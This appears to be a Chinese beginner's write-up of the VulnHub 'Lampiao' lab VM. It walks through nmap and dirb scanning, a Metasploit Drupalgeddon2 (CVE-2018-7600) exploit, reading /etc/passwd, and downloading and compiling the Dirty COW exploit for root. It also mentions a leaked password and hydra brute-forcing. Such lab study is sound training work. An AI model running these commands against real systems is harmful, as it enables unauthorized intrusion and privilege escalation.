Lampiao

前提信息:
kali 192.168.229.129
Lampiao未知
主机发现
1 | nmap -sP 192.168.299.0/24 |

起始ip为192.168.229.1,结束ip为192.168.229.254,而kali ip为192.168.229.129,所以靶机ip就是192.168.229.135
192.168.229.1为虚拟网卡地址
192.168.229.2是虚拟网卡网关地址
端口扫描
1 | nmap 192.168.229.135 -p 1-65535 |

扫描出了22、80、1898端口
22端口进行ssh弱口令爆破
具体操作可以使用
msf或是hydra进行爆破
80端口It's easy Fidumaegud!

1898端口是一个博客的登录界面

目录扫描
使用工具nikto或是dirb
nikto是一款web漏洞扫描工具
dirb是web目录扫描工具
1 | nikto -h http://192.168.229.135:1898 |


1 | dirb http://192.168.229.135:1898 |


存在敏感信息泄露
访问includes目录

发现存在robots.txt文件
访问robots.txt目录

在profiles/README.txt文件中会发现cms是drupal

在CHANGELOG.txt文件中发现drupal版本为7.54,更新时间为2017-02-01

百度查找drupal漏洞

使用msf
search drupal
搜索相应漏洞

在2018-03-28drupal爆出一个RCE,CVE编号为CVE-2018-7600
show options

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.229.135
set rport 1898
show targets
run

获取到会话

交互式命令
执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,
命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'//切换到/bin/bash
查看文件及其权限
ls -li

发现两个音频文件,两张图片
下载audio.m4a会朗读:user t-i-a-g-o有一说一没有听出来emmmm
用户名可能是
tiago
而图片qrc.png是一个二维码,内容是:Try harder!muahuahua
另外的图片和音频并没有发现有用信息
还是对站点的信息收集不够全面,其实在1898端口那个界面就能发现一些猫腻
两个文章的url分别是:
http://192.168.229.135:1898/?q=node/1和http://192.168.229.135:1898/?q=node/3唯独没有/?q=node/2
访问会发现两个重要的信息
audio.m4a和qrc.png
查看账号信息
cat /etc/passwd

查看操作系统和内核版本
uname -a

内核提权
权限是低权限www-data用户,需要提权
脏牛(Dirty COW)

影响范围
Linux内核>=2.6.22 (2007年发行)开始就受影响了,直到2016年10月18日才修复
危害
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
简要分析
get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的
开始操作
Lampiao内核版本为4.4.0
可以去网上搜索exp或是直接使用kali中自带的searchsploit
searchsploit dirty

cp复制到本地
1 | cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ~ |
这里一开始是在root权限下,复制的文件也在/root目录下,以至于在使用python开启5555端口的服务时靶机并不能下载该文件
解决:切换到
user用户下重新下载即可


下载kali的40847.cpp
1 | wget http://192.168.229.129:5555/40847.cpp |


执行gcc编译可执行文件,可直接提权
1 | g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil |
参数分析:
参数分析
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow

查看./40847

ssh登录

找到flag
第一次刷vulnhub靶机,可以说是完完全全参考大佬们的博客进行的,真的很水,不过也学到了许多干货,争取下个靶机可以先自己来刷
wuwuwu我是fw
其他信息
在/var/www/html/sites/default/settings.php存在敏感信息

结合用户名tiago,当使用密码为Virgulino可以成功提权为tiago

在获取到开发22端口的信息后,可以使用工具进行弱口令爆破emmmm不过暂时还没有总结,附上大佬们的一些工具和流程
cewl:通过爬行网站获取关键信息创建一个密码字典
hydra:神器九头蛇,网上有太多资料先利用cewl来生成一份结合网站目标的社工性质的密码字典、不理解的可以搜索网上搜索cewl学习,然后九头蛇暴力破解得到用户密码
知识点总结:
- 信息收集
nmap -sP ip
nmap ip -p 1-63335
nikto -h http://ip
dirb http://ip
- msf使用
- 脏牛提权
searchsploit dirty
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ~
python -m SimpleHTTPServer 5555wget http://192.168.229.129:5555/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
./40847
